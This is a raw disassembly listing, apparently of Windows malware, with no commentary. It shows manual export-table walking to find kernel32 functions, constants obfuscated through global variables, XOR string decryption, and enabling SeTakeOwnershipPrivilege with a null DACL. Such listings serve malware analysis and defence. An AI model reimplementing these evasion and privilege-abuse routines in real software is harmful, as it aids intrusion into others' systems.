		movsx	eax, [ebp+eax+var_103]
		mov	edx, dword_44D188
		movsx	ecx, word_44D228
		add	edx, ecx
		sub	edx, 0Dh
		cmp	eax, edx
		jnz	short loc_4422FB
		cmp	[ebp+var_103], 4Bh
		jnz	short loc_442374
		cmp	[ebp+var_102], 45h
		jnz	short loc_442374
		cmp	[ebp+var_101], 52h
		jnz	short loc_442374
		cmp	[ebp+var_FE], 4Ch
		jnz	short loc_442374
		cmp	[ebp+var_FD], 33h
		jnz	short loc_442374
		cmp	[ebp+var_FC], 32h
		jz	short loc_442379


loc_442374:				; CODE XREF: sub_4421FA+14Bj
					; sub_4421FA+154j ...
		jmp	loc_4425A1
; ---------------------------------------------------------------------------


loc_442379:				; CODE XREF: sub_4421FA+178j
		mov	eax, dword_44D0D4
		movsx	edx, word_44D12C
		add	eax, edx
		sub	eax, 8
		mov	[ebp+var_108], eax
		jmp	loc_44258C
; ---------------------------------------------------------------------------


loc_442395:				; CODE XREF: sub_4421FA+3A1j
		mov	eax, [ebp+var_108]
		mov	ecx, dword_44D18C
		add	ecx, 3
		mul	ecx
		mov	[ebp+var_228], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+20h]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_224], edx
		push	edx
		lea	eax, [ebp+var_21F]
		push	eax
		call	sub_445970
		movsx	eax, word_44D194
		mov	edx, eax
		add	edx, dword_44D198
		cmp	[ebp+edx+var_231], 47h
		jnz	loc_442586
		movsx	edx, word_44D164
		cmp	byte ptr [ebp+edx+var_224+3], 74h
		jnz	loc_442586
		mov	edx, dword_44D0D4
		cmp	[ebp+edx+var_21C], 50h
		jnz	loc_442586
		cmp	byte ptr [ebp+eax+var_224+2], 63h
		jnz	loc_442586
		mov	eax, dword_44D24C
		add	eax, dword_44D1A4
		cmp	byte ptr [ebp+eax+var_224+2], 41h
		jnz	loc_442586
		mov	eax, dword_44D1A8
		add	eax, dword_44D17C
		cmp	byte ptr [ebp+eax+var_228+2], 72h
		jnz	loc_442586
		mov	eax, [ebp+var_108]
		mov	ecx, dword_44D134
		add	ecx, dword_44D1E0
		sub	ecx, 3
		mul	ecx
		mov	[ebp+var_288], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+24h]
		mov	[ebp+var_114], edx
		movzx	eax, word ptr [edx]
		mov	[ebp+var_22C], eax
		mov	ecx, dword_44D0AC
		add	ecx, dword_44D0D4
		dec	ecx
		mul	ecx
		mov	[ebp+var_28C], eax
		mov	edx, ebx
		add	edx, eax
		mov	eax, [ebp+var_110]
		add	edx, [eax+1Ch]
		mov	[ebp+var_10C], edx
		mov	eax, edx
		mov	edx, ebx
		add	edx, [eax]
		mov	[ebp+var_230], edx
		mov	dword_44D254, ebx
		mov	ds:dword_4491AC, edx
		lea	edi, [ebp+var_23D]
		lea	esi, aCreatethread ; "CreateThread"
		mov	ecx, 0Dh
		rep movsb
		lea	edi, [ebp+var_252]
		lea	esi, aEntercriticals ; "EnterCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	edi, [ebp+var_26C]
		lea	esi, aInitializecrit ; "InitializeCriticalSection"
		mov	ecx, 0Dh
		rep movsw
		lea	edi, [ebp+var_281]
		lea	esi, aLeavecriticals ; "LeaveCriticalSection"
		mov	ecx, 15h
		rep movsb
		lea	eax, [ebp+var_23D]
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44CD70, eax
		lea	eax, [ebp+var_252]
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C83C, eax
		lea	eax, [ebp+var_26C]
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_447FB8, eax
		lea	eax, [ebp+var_281]
		push	eax
		push	dword_44D254
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B824, eax
		jmp	short loc_4425A1
; ---------------------------------------------------------------------------


loc_442586:				; CODE XREF: sub_4421FA+1F5j
					; sub_4421FA+20Aj ...
		inc	[ebp+var_108]


loc_44258C:				; CODE XREF: sub_4421FA+196j
		mov	eax, [ebp+var_110]
		mov	eax, [eax+18h]
		cmp	[ebp+var_108], eax
		jb	loc_442395


loc_4425A1:				; CODE XREF: sub_4421FA:loc_442374j
					; sub_4421FA+38Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4421FA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4425A6	proc near		; CODE XREF: sub_43CEF8+24Cp

var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_28		= dword	ptr -28h
var_1C		= dword	ptr -1Ch
var_18		= word ptr -18h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 4Ch
		push	ebx
		push	esi
		push	edi
		mov	eax, dword_44D234
		add	eax, dword_44D0AC
		sub	eax, 7
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4435CB
		add	esp, 0Ch
		mov	[ebp+var_48], eax
		test	eax, eax
		jnz	loc_4427FA
		mov	[ebp+var_18], 8
		push	offset dword_44DD74
		call	sub_442CEF
		pop	ecx
		push	eax
		call	ds:dword_446FF8
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	esi, [ebp+var_18]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+arg_8]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+30h]
		mov	ebx, eax
		mov	eax, dword_44D104
		sub	eax, 4
		cmp	ebx, eax
		jnz	loc_4427DE
		lea	eax, [ebp+var_3C]
		push	eax
		push	offset dword_44EC54
		mov	eax, [ebp+var_8]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44D0AC
		add	eax, dword_44D0C0
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_4427D5
		mov	[ebp+var_30], 2
		movsx	eax, word_44D23C
		add	eax, dword_44D0C0
		sub	eax, 9
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_1C]
		push	eax
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		lea	esi, [ebp+var_30]
		sub	esp, 10h
		mov	edi, esp
		mov	ecx, 4
		rep movsd
		mov	edi, [ebp+var_3C]
		push	edi
		mov	edi, [edi]
		call	dword ptr [edi+2Ch]
		mov	ebx, eax
		mov	eax, dword_44D15C
		add	eax, dword_44D094
		sub	eax, 2
		cmp	ebx, eax
		jnz	loc_4427CC
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_4]
		push	eax
		push	offset dword_44EC64
		mov	eax, [ebp+var_1C]
		push	eax
		mov	edi, [eax]
		call	dword ptr ds:0[edi]
		mov	ebx, eax
		mov	eax, dword_44D244
		add	eax, dword_44D248
		sub	eax, 9
		cmp	ebx, eax
		jnz	loc_4427C3
		inc	ds:dword_4495D0
		mov	eax, dword_44D214
		add	eax, 5
		movsx	edx, word_44D0B4
		add	eax, edx
		cmp	ds:dword_4495D0, eax
		jb	short loc_442716
		mov	eax, dword_44D10C
		add	eax, 0Ah
		mov	ds:dword_4495D0, eax
		push	[ebp+var_4]
		call	sub_43F19E
		pop	ecx
		jmp	loc_4427BA
; ---------------------------------------------------------------------------


loc_442716:				; CODE XREF: sub_4425A6+153j
		movsx	eax, word_44D148
		mov	[ebp+var_4C], eax
		lea	eax, [ebp+var_44]
		push	eax
		push	ds:dword_44B814
		call	sub_44285A
		mov	[ebp+var_34], eax
		lea	eax, [ebp+var_40]
		push	eax
		push	ds:dword_446018
		call	sub_44285A
		add	esp, 10h
		mov	[ebp+var_38], eax
		cmp	[ebp+var_44], 0
		jz	short loc_442768
		cmp	[ebp+var_34], 0
		jz	short loc_442768
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_44]
		push	[ebp+var_34]
		call	sub_442DF5
		add	esp, 10h


loc_442768:				; CODE XREF: sub_4425A6+1A5j
					; sub_4425A6+1ABj
		cmp	[ebp+var_40], 0
		jz	short loc_442789
		cmp	[ebp+var_38], 0
		jz	short loc_442789
		lea	eax, [ebp+var_4C]
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_40]
		push	[ebp+var_38]
		call	sub_442DF5
		add	esp, 10h


loc_442789:				; CODE XREF: sub_4425A6+1C6j
					; sub_4425A6+1CCj
		push	[ebp+var_34]
		call	ds:dword_4495CC	; LocalFree
		push	[ebp+var_38]
		call	ds:dword_4495CC	; LocalFree
		movsx	eax, word_44D148
		add	eax, dword_44D0A4
		sub	eax, 7
		push	eax
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		call	sub_4435CB
		add	esp, 0Ch


loc_4427BA:				; CODE XREF: sub_4425A6+16Bj
		mov	eax, [ebp+var_4]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4427C3:				; CODE XREF: sub_4425A6+130j
		mov	eax, [ebp+var_1C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4427CC:				; CODE XREF: sub_4425A6+FEj
		mov	eax, [ebp+var_3C]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4427D5:				; CODE XREF: sub_4425A6+A2j
		mov	eax, [ebp+var_8]
		push	eax
		mov	esi, [eax]
		call	dword ptr [esi+8]


loc_4427DE:				; CODE XREF: sub_4425A6+74j
		lea	eax, [ebp+var_18]
		push	eax
		call	ds:dword_44CD84
		mov	eax, dword_44D118
		add	eax, dword_44D0A8
		sub	eax, 0Ah
		cmp	ebx, eax
		jz	short $+2


loc_4427FA:				; CODE XREF: sub_4425A6+2Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4425A6	endp


; =============== S U B	R O U T	I N E =======================================



sub_4427FF	proc near		; CODE XREF: sub_43A39F+20p
		push	edi
		push	offset byte_44DD67
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_449598	; GetModuleHandleA
		mov	dword_44D26C, eax
		test	eax, eax
		jnz	short loc_442832
		push	offset dword_44DD5C
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_44A208	; LoadLibraryA
		mov	dword_44D26C, eax


loc_442832:				; CODE XREF: sub_4427FF+1Aj
		cmp	dword_44D26C, 0
		jz	short loc_442858
		push	offset word_44DD46
		call	sub_43AC82
		pop	ecx
		push	eax
		push	dword_44D26C
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4495B4, eax


loc_442858:				; CODE XREF: sub_4427FF+3Aj
		pop	edi
		retn
sub_4427FF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_44285A	proc near		; CODE XREF: sub_43E36B+18p
					; sub_4425A6+184p ...

var_8		= dword	ptr -8
var_4		= byte ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	eax
		push	ebx
		push	esi
		push	edi
		push	0
		push	80h
		push	3
		push	0
		push	3
		push	80000000h
		push	[ebp+arg_0]
		call	ds:dword_44C968	; CreateFileA
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_44289D
		cmp	[ebp+arg_4], 0
		jz	short loc_442899
		mov	eax, [ebp+arg_4]
		movsx	edx, word_44D0E8
		sub	edx, 4
		mov	[eax], edx


loc_442899:				; CODE XREF: sub_44285A+2Ej
		xor	eax, eax
		jmp	short loc_4428E1
; ---------------------------------------------------------------------------


loc_44289D:				; CODE XREF: sub_44285A+28j
		push	0
		push	edi
		call	ds:dword_44C7F8	; GetFileSize
		mov	esi, eax
		add	eax, 10h
		push	eax
		push	40h
		call	ds:dword_4499EC	; LocalAlloc
		mov	ebx, eax
		push	0
		cmp	[ebp+arg_4], 0
		jz	short loc_4428C6
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_8], eax
		jmp	short loc_4428CC
; ---------------------------------------------------------------------------


loc_4428C6:				; CODE XREF: sub_44285A+62j
		lea	eax, [ebp+var_4]
		mov	[ebp+var_8], eax


loc_4428CC:				; CODE XREF: sub_44285A+6Aj
		push	[ebp+var_8]
		push	esi
		push	ebx
		push	edi
		call	ds:dword_44602C	; ReadFile
		push	edi
		call	ds:dword_44B82C	; CloseHandle
		mov	eax, ebx


loc_4428E1:				; CODE XREF: sub_44285A+41j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_44285A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4428E6	proc near		; CODE XREF: sub_43A39F+26Ep

var_68		= dword	ptr -68h
var_40		= byte ptr -40h
var_3C		= dword	ptr -3Ch
var_14		= dword	ptr -14h
var_10		= byte ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	ebx
		push	esi
		push	edi
		call	sub_43AF59
		or	eax, eax
		jnz	short loc_442904
		mov	edi, dword_44D124
		dec	edi
		jmp	loc_442AB4
; ---------------------------------------------------------------------------


loc_442904:				; CODE XREF: sub_4428E6+10j
		call	ds:dword_4499F8	; GetCurrentProcessId
		mov	ebx, eax
		push	ebx
		movsx	eax, word_44D1C0
		sub	eax, 9
		push	eax
		push	1F0FFFh
		call	ds:dword_44CD7C	; OpenProcess
		mov	esi, eax
		lea	eax, [ebp+var_4]
		push	eax
		push	28h
		push	esi
		call	ds:dword_449080	; OpenProcessToken
		mov	edi, eax
		movsx	eax, word_44D0B4
		add	eax, dword_44D108
		sub	eax, 0Dh
		cmp	edi, eax
		jz	loc_442AB4
		mov	edx, dword_44D0FC
		add	edx, dword_44D104
		mov	ecx, dword_44D198
		sub	ecx, 9
		mov	[ebp+edx*4+var_68], ecx
		lea	eax, [ebp+var_40]
		push	eax
		push	28h
		lea	eax, [ebp+var_3C]
		push	eax
		mov	eax, dword_44D0E0
		add	eax, 13h
		push	eax
		push	[ebp+var_4]
		call	ds:dword_44C7F0	; GetTokenInformation
		mov	edi, eax
		cmp	[ebp+arg_0], 0
		jz	short loc_4429CD
		mov	eax, dword_44D0A4
		sub	eax, 9
		cmp	edi, eax
		jnz	short loc_4429A1
		mov	edi, dword_44D174
		dec	edi
		jmp	loc_442AB4
; ---------------------------------------------------------------------------


loc_4429A1:				; CODE XREF: sub_4428E6+ADj
		mov	edi, dword_44D0C8
		dec	edi
		mov	eax, dword_44D13C
		add	eax, dword_44D1F8
		sub	eax, 0Eh
		cmp	[ebp+var_3C], eax
		jz	loc_442AB4
		mov	edi, dword_44D19C
		sub	edi, 9
		jmp	loc_442AB4
; ---------------------------------------------------------------------------


loc_4429CD:				; CODE XREF: sub_4428E6+A1j
		cmp	dword_44D284, 0
		jnz	short loc_4429EE
		mov	eax, dword_44D0FC
		add	eax, 3FF9h
		push	eax
		push	40h
		call	ds:dword_4499EC	; LocalAlloc
		mov	dword_44D284, eax


loc_4429EE:				; CODE XREF: sub_4428E6+EEj
		lea	eax, [ebp+var_40]
		push	eax
		mov	eax, dword_44D234
		add	eax, 3FFDh
		push	eax
		push	dword_44D284
		push	1
		push	[ebp+var_4]
		call	ds:dword_44C7F0	; GetTokenInformation
		cmp	dword_44D288, 0
		jnz	short loc_442A26
		push	14h
		push	0
		call	ds:dword_4499EC	; LocalAlloc
		mov	dword_44D288, eax


loc_442A26:				; CODE XREF: sub_4428E6+12Fj
		push	1
		push	dword_44D288
		call	ds:dword_446FF4	; InitializeSecurityDescriptor
		mov	edi, eax
		push	0
		push	0
		push	1
		push	dword_44D288
		call	ds:dword_44A1E0	; SetSecurityDescriptorDacl
		mov	edi, eax
		push	0
		mov	eax, dword_44D284
		push	dword ptr [eax]
		push	dword_44D288
		call	ds:dword_4499E8	; SetSecurityDescriptorOwner
		mov	edi, eax
		lea	eax, [ebp+var_10]
		push	eax
		push	offset aSetakeownershi ; "SeTakeOwnershipPrivilege"
		push	0
		call	ds:dword_44601C	; LookupPrivilegeValueA
		mov	edi, eax
		mov	eax, dword_44D1AC
		sub	eax, 5
		cmp	edi, eax
		jz	short loc_442AB4
		mov	eax, dword_44D0DC
		inc	eax
		mov	[ebp+var_14], eax
		mov	[ebp+var_8], 2
		push	0
		push	0
		mov	eax, dword_44D14C
		add	eax, dword_44D178
		sub	eax, 0Dh
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		push	[ebp+var_4]
		call	ds:dword_44B810	; AdjustTokenPrivileges
		mov	edi, eax


loc_442AB4:				; CODE XREF: sub_4428E6+19j
					; sub_4428E6+60j ...
		push	[ebp+var_4]
		call	ds:dword_44B82C	; CloseHandle
		push	esi
		call	ds:dword_44B82C	; CloseHandle
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4428E6	endp


; =============== S U B	R O U T	I N E =======================================



sub_442ACB	proc near		; CODE XREF: sub_43A39F+27Ap
		push	2
		call	sub_43B380
		push	0
		call	sub_43B380
		add	esp, 8
		retn
sub_442ACB	endp


; =============== S U B	R O U T	I N E =======================================



sub_442ADD	proc near		; CODE XREF: sub_44475F+26Cp
		push	edi
		push	offset byte_44DD1F
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_449598	; GetModuleHandleA
		mov	dword_44D258, eax
		test	eax, eax
		jnz	short loc_442B10
		push	offset byte_44DD11
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_44A208	; LoadLibraryA
		mov	dword_44D258, eax


loc_442B10:				; CODE XREF: sub_442ADD+1Aj
		push	offset byte_44DD07
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C80C, eax
		push	offset dword_44DCFC
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446034, eax
		push	offset dword_44DCF4
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_447008, eax
		push	offset dword_44DCEC
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4499F0, eax
		push	offset word_44DCE2
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4499E0, eax
		push	offset dword_44DCD8
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C828, eax
		push	offset word_44DCCE
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B808, eax
		push	offset dword_44DCC4
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44B818, eax
		push	offset dword_44DCBC
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44CD90, eax
		push	offset byte_44DCB3
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C7D0, eax
		push	offset byte_44DCA9
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_446024, eax
		push	offset word_44DC9E
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44C810, eax
		push	offset word_44DC92
		call	sub_43AC82
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_44A210, eax
		push	offset dword_44DC88
		call	sub_43AC82
		add	esp, 38h
		push	eax
		push	dword_44D258
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_4491A4, eax
		pop	edi
		retn
sub_442ADD	endp


; =============== S U B	R O U T	I N E =======================================



sub_442C9D	proc near		; CODE XREF: sub_43A39F+2Ap
		push	edi
		push	offset byte_44DC79
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_449598	; GetModuleHandleA
		mov	dword_44D274, eax
		test	eax, eax
		jnz	short loc_442CD0
		push	offset word_44DC6A
		call	sub_43AC82
		pop	ecx
		push	eax
		call	ds:dword_44A208	; LoadLibraryA
		mov	dword_44D274, eax


loc_442CD0:				; CODE XREF: sub_442C9D+1Aj
		push	offset word_44DC56
		call	sub_43AC82
		pop	ecx
		push	eax
		push	dword_44D274
		call	ds:dword_4491AC	; GetProcAddress
		mov	ds:dword_449A00, eax
		pop	edi
		retn
sub_442C9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442CEF	proc near		; CODE XREF: sub_43BC02+1C2p
					; sub_441138+1F7p ...

var_4		= word ptr -4
var_2		= word ptr -2
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		cmp	dword_44D250, 0
		jnz	short loc_442D17
		push	offset dword_44CDA0
		call	ds:dword_447FB8	; InitializeCriticalSection
		mov	dword_44D250, 1


loc_442D17:				; CODE XREF: sub_442CEF+11j
		mov	esi, dword_44D154
		add	esi, 3
		movzx	ebx, byte ptr [edi]
		movzx	edx, byte ptr [edi+2]
		movzx	edx, dx
		shl	edx, 8
		or	ebx, edx
		movzx	ebx, bx
		mov	edx, dword_44D214
		add	edx, dword_44D094
		dec	edx
		imul	ebx, edx
		add	esi, ebx
		mov	[ebp+var_4], si
		movzx	eax, [ebp+var_4]
		mov	edx, dword_44D24C
		movsx	ecx, word_44D1B8
		add	edx, ecx
		sub	edx, 8
		cmp	eax, edx
		jz	loc_442DED
		push	offset dword_44CDA0
		call	ds:dword_44C83C	; RtlEnterCriticalSection
		mov	eax, dword_44D20C
		dec	eax
		mov	[ebp+var_2], ax
		jmp	short loc_442DA2
; ---------------------------------------------------------------------------


loc_442D7D:				; CODE XREF: sub_442CEF+BDj
		movzx	eax, [ebp+var_2]
		add	eax, edi
		movsx	edx, byte ptr [eax]
		movsx	ecx, byte ptr [edi+4]
		xor	edx, ecx
		mov	[eax], dl
		movzx	eax, [ebp+var_2]
		movsx	edx, word_44D0C4
		sub	edx, 7
		add	eax, edx
		mov	[ebp+var_2], ax


loc_442DA2:				; CODE XREF: sub_442CEF+8Cj
		movzx	eax, [ebp+var_2]
		movzx	edx, [ebp+var_4]
		cmp	eax, edx
		jl	short loc_442D7D
		mov	eax, dword_44D1F8
		add	eax, dword_44D230
		sub	eax, 0Dh
		mov	edx, dword_44D188
		sub	edx, 9
		mov	[edi+eax], dl
		movsx	eax, word_44D0B8
		sub	eax, 7
		mov	edx, dword_44D0F0
		add	edx, dword_44D1E0
		dec	edx
		mov	[edi+eax], dl
		push	offset dword_44CDA0
		call	ds:dword_44B824	; RtlLeaveCriticalSection


loc_442DED:				; CODE XREF: sub_442CEF+71j
		lea	eax, [edi+6]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_442CEF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_442DF5	proc near		; CODE XREF: sub_4425A6+1BAp
					; sub_4425A6+1DBp

var_4F		= byte ptr -4Fh
var_1D		= byte ptr -1Dh
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 50h
		push	ebx
		push	esi
		push	edi
		mov	ebx, [ebp+arg_0]
		call	ds:dword_44C950	; GetTickCount
		mov	[ebp+var_8], eax
		mov	eax, dword_44D1E0
		mov	esi, eax
		add	esi, dword_44D1C8
		sub	esi, 3
		jmp	short loc_442E52
; ---------------------------------------------------------------------------


loc_442E1C:				; CODE XREF: sub_442DF5+74j
		cmp	ds:dword_4480E0[esi*4],	0
		jz	short loc_442E51
		mov	edx, ds:dword_44B830[esi*4]
		mov	ecx, dword_44D240
		add	ecx, 0EA60h
		mov	eax, dword_44D1EC
		dec	eax
		imul	ecx, eax
		add	edx, ecx
		cmp	edx, [ebp+var_8]
		jnb	short loc_442E51
		and	ds:dword_4480E0[esi*4],	0


loc_442E51:				; CODE XREF: sub_442DF5+2Fj
					; sub_442DF5+52j
		inc	esi


loc_442E52:				; CODE XREF: sub_442DF5+25j
		movsx	eax, word_44D160
		movsx	edx, word_44D0B8
		lea	eax, [eax+edx+3D9h]
		cmp	esi, eax
		jb	short loc_442E1C


loc_442E6B:				; CODE XREF: sub_442DF5+97j
					; sub_442DF5+26Bj
		mov	eax, [ebx]
		mov	[ebp+var_14], eax
		lea	ebx, [ebx+eax]
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	eax, [ebp+arg_4]
		jnb	loc_443066
		mov	eax, dword_44D094
		add	eax, 2
		cmp	[ebp+var_14], eax
		ja	short loc_442E6B
		mov	ecx, ebx
		or	eax, 0FFFFFFFFh


loc_442E93:				; CODE XREF: sub_442DF5+A3j
		inc	eax
		cmp	byte ptr [ecx+eax], 0
		jnz	short loc_442E93
		mov	[ebp+var_10], eax
		mov	eax, dword_44D118
		mov	edx, ebx
		sub	edx, [ebp+arg_0]
		mov	ecx, eax
		add	ecx, eax
		mov	eax, ecx
		sub	eax, 8
		sub	edx, eax
		mov	[ebp+var_C], edx
		mov	[ebp+var_1], 44h
		mov	eax, dword_44D104
		sub	eax, 4
		cmp	byte ptr [ebx+eax], 2Ah
		jnz	short loc_442ECB
		mov	[ebp+var_1], 43h


loc_442ECB:				; CODE XREF: sub_442DF5+D0j
		mov	eax, dword_44D0DC
		mov	edi, eax
		add	edi, dword_44D09C
		dec	edi
		jmp	short loc_442F02
; ---------------------------------------------------------------------------


loc_442EDB:				; CODE XREF: sub_442DF5+11Fj
		cmp	ds:dword_4480E0[edi*4],	0
		jz	short loc_442F01
		mov	edx, [ebp+var_C]
		cmp	ds:dword_447010[edi*4],	edx
		jnz	short loc_442F01
		mov	dl, ds:byte_4491B0[edi]
		cmp	dl, [ebp+var_1]
		jz	loc_44304B


loc_442F01:				; CODE XREF: sub_442DF5+EEj
					; sub_442DF5+FAj
		inc	edi


loc_442F02:				; CODE XREF: sub_442DF5+E4j
		mov	eax, dword_44D14C
		add	eax, 3E0h
		add	eax, dword_44D240
		cmp	edi, eax
		jb	short loc_442EDB
		mov	eax, dword_44D0CC
		add	eax, 3B1h
		add	eax, dword_44D244
		cmp	[ebp+var_10], eax
		jbe	loc_442FFB
		movsx	eax, word_44D090
		add	eax, 0Ah
		push	eax
		lea	eax, [ebp+var_4F]
		push	eax
		call	sub_443CD1
		add	esp, 8
		movsx	eax, word_44D1C0
		add	eax, 3B7h
		mov	[ebp+var_18], eax
		movsx	eax, word_44D0E4
		add	eax, dword_44D1CC
		sub	eax, 3
		mov	[ebp+var_1C], eax


loc_442F68:				; CODE XREF: sub_442DF5+201j
		mov	eax, [ebp+var_18]
		mov	al, [ebx+eax]
		mov	[ebp+var_1D], al
		mov	eax, [ebp+var_18]
		mov	edx, dword_44D10C
		add	edx, dword_44D17C
		sub	edx, 9
		mov	[ebx+eax], dl
		push	offset dword_447FD0
		push	[ebp+var_10]
		push	[ebp+var_1C]
		lea	eax, [ebp+var_4F]
		push	eax
		mov	eax, [ebp+arg_C]
		push	dword ptr [eax]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	eax, dword_44D200
		movsx	edx, word_44D11C
		add	eax, edx
		sub	eax, 0Ah
		and	eax, 0FFh
		push	eax
		call	sub_43BC02
		add	esp, 24h
		mov	eax, [ebp+var_18]
		mov	dl, [ebp+var_1D]
		mov	[ebx+eax], dl
		mov	[ebp+var_1C], eax
		movsx	eax, word_44D114
		mov	edx, dword_44D24C
		lea	eax, [eax+edx+3AEh]
		add	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_18], eax
		jbe	short loc_442FEE
		mov	[ebp+var_18], eax


loc_442FEE:				; CODE XREF: sub_442DF5+1F4j
		mov	eax, [ebp+var_10]
		cmp	[ebp+var_1C], eax
		jnb	short loc_443046
		jmp	loc_442F68
; ---------------------------------------------------------------------------


loc_442FFB:				; CODE XREF: sub_442DF5+134j
		push	offset byte_44DC51
		call	sub_43AC82
		push	offset dword_447FD0
		push	[ebp+var_10]
		movsx	edx, word_44D128
		sub	edx, 5
		push	edx
		push	eax
		mov	edx, [ebp+arg_C]
		push	dword ptr [edx]
		push	[ebp+arg_0]
		push	ebx
		push	[ebp+arg_8]
		mov	edx, dword_44D238
		movsx	ecx, word_44D190
		add	edx, ecx
		sub	edx, 0Eh
		and	edx, 0FFh
		push	edx
		call	sub_43BC02
		add	esp, 28h


loc_443046:				; CODE XREF: sub_442DF5+1FFj
		mov	eax, [ebp+arg_C]
		inc	dword ptr [eax]


loc_44304B:				; CODE XREF: sub_442DF5+106j
		mov	eax, [ebp+var_10]
		lea	ebx, [ebx+eax]
		inc	ebx
		mov	eax, [ebp+arg_C]
		mov	edx, dword_44D208
		add	edx, 0Eh
		cmp	[eax], edx
